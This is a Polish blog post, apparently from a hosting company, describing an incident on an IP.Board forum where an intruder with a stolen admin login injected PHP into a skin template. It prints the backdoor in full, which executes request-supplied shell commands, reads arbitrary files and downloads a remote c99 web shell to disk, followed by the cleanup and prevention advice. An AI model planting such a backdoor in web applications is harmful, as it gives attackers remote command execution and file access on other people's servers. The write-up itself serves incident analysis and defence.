Wpis ten dotyczy forum IP.Board, ale powinni go przeczytać wszyscy administrujący aplikacjami webowymi pozwalającymi na edycję szablonów przez panel administracyjny. Dotyczy on ciekawej metody infekcji forum, z którą nie miałem jeszcze do czynienia.
Wczoraj wieczorem zadzwonił do mnie jeden z naszych klientów, który jest właścicielem dużego (do 5 mln odsłon) forum opartego na silniku IP.Board. Zgłosił, że nie działa mu strona. Faktycznie, po wejściu na forum ładował się tylko jej nagłówek.
Pierwsza myśl: padły procesy php. Sprawdziłem więc logi serwera WWW. Czysto, log php. Czysto. Uruchomiłem więc procesy php z włączonym debugowaniem i po chwili znalazła się przyczyna problemu:
PHP Parse error: syntax error, unexpected ';' in /upload/cache/skin_cache/cacheid_7/skin_global.php on line 70Faktycznie we wskazanym pliku był błąd składni. Poprawiłem błąd. Działa. Pozostało ustalić, skąd błąd składni wziął się w tym miejscu.Z IP.Board miałem do czynienia rzadko. Licencja na używanie forum jest płatna, dlatego też nie jest ono tak popularne jak np. phpBB. Nigdy wcześniej nie widziałem też jego panelu administracyjnego - nie miałem takiej potrzeby. Po przeszukaniu Internetu, fragmentów dokumentacji i po konsultacji z właścicielem forum ustaliłem, że pewne elementy kodu generowane są w locie i że można wymusić ich przebudowę. Jako że w logach ftp nie znalazłem ani śladu połączenia, jedyną metodą modyfikacji pozostała zmiana poprzez panel.
Spojrzałem wiec jeszcze raz na plik skin_global.php, tym razem patrząc na treść, nie tylko na składnię i okazało się, że chwilę wcześniej poprawiłem kod doklejonego do szablonu forum obcego kodu php!
Właściciel forum w międzyczasie spojrzał w logi panelu administracyjnego forum i wszystko stało się jasne. Dane do logowania jednego z administratorów forum zostały przejęte. Niestety, nie zalogowało się, co intruz robił w panelu, pozostało więc to ustalić. Na początek więc analiza doklejonego kodu:
if(isset($_REQUEST['testphp']))
{
if(isset($_REQUEST['cmd']))
{ $cmd=$_REQUEST['cmd']; echo `$cmd`; }
else if(isset($_REQUEST['file']))
echo file_get_contents($_REQUEST['file']);
else if(isset($_REQUEST['dl1']))
$source = $_REQUEST['dl1'];
file_put_contents("uploads/ccache.php", file_get_contents($source); <-- w tym miejscu intruz popełnił błąd składni ;)
else if(isset($_REQUEST['dl2'])) {
$source = $_REQUEST['dl2'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $source);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec ($ch);
$error = curl_error($ch);
curl_close ($ch);
$destination = "uploads/ccache.php";
$file = fopen($destination, "w+");
fputs($file, $data);
fclose($file);
}
else
echo dirname(__FILE__);
die(" OK!");
}
Jak widać, całość jest prosta - przy przekazaniu zmiennej GET "testphp" można uruchomić różne akcje - wywołać polecenie konsoli, czy też przekazać adres URL, z którego zostanie ściągnięty zdalny plik i zapisany na dysku jako ccache.php. Zabezpieczenia na naszych serwerach filtrują wywołania konsoli, włamywacz nie mógł więc wykonać żadnego polecenia. Ale mógł zapisać na dysku zawartość zdalnego pliku i zrobił to. W pliku ccache.php nie znajdowało się nic innego jak phpshell c99.
Bezpieczeństwo strony. Ochrona przed wirusami, SSL - i-host.pl
Na początek ocena strat. Porównanie backupu z bieżącą wersją strony wykazało, ze intruzowi, poza zapisaniem pliku ccache.php nie udało się nic zrobić. Następnie, dzięki analizie logów serwera WWW udało się odtworzyć zachowanie włamywacza. Zalogował się do forum jak do siebie, od razu wszedł w edycję plików forum, dokleił kod, ściągnął phpshella i zaczął walczyć. Na szczęście ponownie dzięki skonfigurowanym zabezpieczeniom nie udało mu się uruchomić żadnego polecenia konsoli, na szczęście nie zdążył uruchomić żadnego innego kodu php. Zaczął więc kombinować. Wgrał phpshell ponownie, próbował uruchamiać różne komendy, a na koniec popsuł składnię wstrzykniętego kodu. I bardzo dobrze, bo gdyby nie to, włamanie zapewne zostałoby odkryte po wysłaniu porcji spamów z aplikacji klienta. Obecnie crackerzy włamujący się na serwery nie robią tego, aby coś popsuć. Za pomocą przejętych aplikacji dokonują dalszych infekcji, czy też po prostu wykorzystują je np. do rozsyłania spamów. Jak widać, starają się też być niewidoczni. Im dłużej pozostają niezauważeni, tym dłużej mogą czerpać korzyści z nieautoryzowanego wykorzystania aplikacji.
Pozostało wyczyścić pliki forum, korzystając z wbudowanych w niego mechanizmów. Po krótkich poszukiwaniach udało się znaleźć coś takiego:
Po wyczyszczeniu plików i przebudowaniu plików cache forum powróciło do normalnej pracy.
Wniosków płynących z tego artykułu jest kilka. Przede wszystkim należy pilnować swoich haseł. Na tę chwilę nie udało się ustalić, jak włamywacz wszedł w posiadanie danych administratora forum. Najprawdopodobniej został przejęty jego komputer, bo nie widać w logach serwera próby złamania hasła - włamywacz po prostu zalogował się do panelu administracyjnego forum. Niestety, ale zauważam też tendencję do skrupulatnego ukrywania przez włamywaczy swojej obecności na przejętych aplikacjach. Brak śladów szukania na ślepo miejsca do infekcji wskazuje, że osoby stojące za incydentem są przygotowane do tej metody ingerencji w aplikację. Włamania dokonano z adresu należącego do bramki do sieci TOR. Znając praktykę ścigania przestępstw dokonanych za pośrednictwem Internetu, właściciel forum zrezygnował więc ze ścigania przestępcy. Pozostaje więc pilnowanie haseł, częsta ich zmiana i okresowe porównywanie kopii zapasowej aplikacji trzymanej w bezpiecznym miejscu z wersją uruchomioną na serwerze.
Przedstawiona metoda infekcji została opublikowana za zgodą właściciela forum w celach edukacyjnych. Ja osobiście po raz pierwszy spotkałem się z taką metodą infekcji i przyznam, że atakujący ma dużą szansę pozostania niezauważonym. Radzę więc swoje wersje IP.Board/Wordpressów/innych aplikacji pozwalających na edycję plików przez panel porównać z kopią aplikacji, którą macie umieszczoną w bezpiecznym miejscu. Bo macie, prawda?
